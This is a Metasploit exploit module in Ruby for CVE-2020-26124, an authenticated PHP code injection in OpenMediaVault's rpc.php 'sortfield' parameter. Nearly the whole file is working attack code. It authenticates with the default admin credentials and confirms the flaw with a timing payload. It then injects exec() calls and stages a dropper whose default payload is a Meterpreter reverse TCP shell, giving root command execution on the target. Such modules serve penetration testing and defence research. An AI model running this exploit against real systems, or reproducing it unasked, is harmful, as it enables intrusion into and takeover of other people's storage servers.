##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenMediaVault rpc.php Authenticated PHP Code Injection',
        'Description' => %q{
          This module exploits an authenticated PHP code injection
          vulnerability found in openmediavault versions before 4.1.36
          and 5.x versions before 5.5.12 inclusive in the "sortfield"
          POST parameter of the rpc.php page, because "json_encode_safe()"
          is not used in config/databasebackend.inc.
          Successful exploitation grants attackers the ability to execute
          arbitrary commands on the underlying operating system as root.
        },
        'Author' => [
          'Anastasios Stasinopoulos' # @ancst of Obrela Labs Team - Discovery and Metasploit module
        ],
        'References' => [
          ['CVE', '2020-26124'],
          ['URL', 'https://www.openmediavault.org/?p=2797']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Payload' => { 'BadChars' => "\x00" },
        'DisclosureDate' => '2020-09-28',
        'Targets' => [
          [
            'Automatic (Linux Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault installation', '/']),
        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
      ]
    )
  end

  def user
    datastore['USERNAME']
  end

  def pass
    datastore['PASSWORD']
  end

  def login(user, pass, _opts = {})
    print_status("#{peer} - Authenticating with OpenMediaVault using #{user}:#{pass}...")
    @uri = normalize_uri(target_uri.path, '/rpc.php')
    res = send_request_cgi({
      'uri' => @uri,
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        service: 'Session',
        method: 'login',
        params: {
          username: user.to_s,
          password: pass.to_s
        },
        options: nil
      }.to_json
    })
    unless res
      # We return nil here, as callers should handle this case
      # specifically with their own unique error message.
      return nil
    end

    if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(\w+);*/).flatten.first
      @cookie = res.get_cookies
    end
    return res
  rescue ::Rex::ConnectionError
    print_error('Rex::ConnectionError caught in login(), could not connect to the target.')
    return nil
  end

  def get_target
    print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.")
    res = send_request_cgi({
      'uri' => @uri,
      'method' => 'POST',
      'cookie' => @cookie.to_s,
      'data' => {
        service: 'System',
        method: 'getInformation',
        params: nil,
        options: {
          updatelastaccess: false
        }
      }.to_json
    })
    version = res.body.scan(/"version":"(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
    if version.nil?
      print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!")
      return nil
    end
    print_good("#{peer} - Identified OpenMediaVault version #{version}.")

    version_gemmed = Rex::Version.new(version)
    if version_gemmed < Rex::Version.new('3.0.1')
      return version
    elsif version_gemmed >= Rex::Version.new('4.0.0') && version_gemmed < Rex::Version.new('4.1.36')
      return version
    elsif version_gemmed >= Rex::Version.new('5.0.0') && version_gemmed < Rex::Version.new('5.5.12')
      return version
    else
      return nil
    end
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'uri' => @uri,
      'method' => 'POST',
      'cookie' => @cookie.to_s,
      'data' => {
        service: 'LogFile',
        method: 'getList',
        params: {
          id: 'apt_history',
          start: 0,
          limit: 50,
          sortfield: "'.exec(\"#{cmd}\").'",
          sortdir: 'DESC'
        },
        options: nil
      }.to_json
    })
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')
  end

  def check
    res = login(user, pass)
    unless res
      return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
    end

    if @cookie.nil?
      return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")
    end

    print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")
    version = get_target
    if version.nil?
      # We don't print out an error message here as returning this will
      # automatically cause Metasploit to print out an appropriate error message.
      return CheckCode::Safe
    end

    delay = rand(7...15)
    cmd = "\").usleep(#{delay}0000).(\""
    print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")
    t1 = Time.now.to_i
    res = execute_command(cmd)
    t2 = Time.now.to_i
    unless res
      print_error("#{peer} - Connection failed whilst trying to perform the code injection.")
      return CheckCode::Detected
    end
    diff = t2 - t1
    if diff >= 3
      print_good("#{peer} - Response received after #{diff} seconds.")
      return CheckCode::Vulnerable
    end
    print_error("#{peer} - Response wasn't received within the expected period of time.")
    return CheckCode::Safe
  rescue ::Rex::ConnectionError
    print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
    return CheckCode::Unknown
  end

  def exploit
    print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
    execute_cmdstager(linemax: 130_000)
  rescue ::Rex::ConnectionError
    print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.')
    return false
  end

end
